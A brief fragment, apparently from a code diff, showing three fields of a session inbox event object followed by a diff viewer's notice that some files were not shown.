id: "evt_admitted_1",
created: 0,
type: "session.inbox.enqueued",

Some files were not shown because too many files have changed in this diff Show More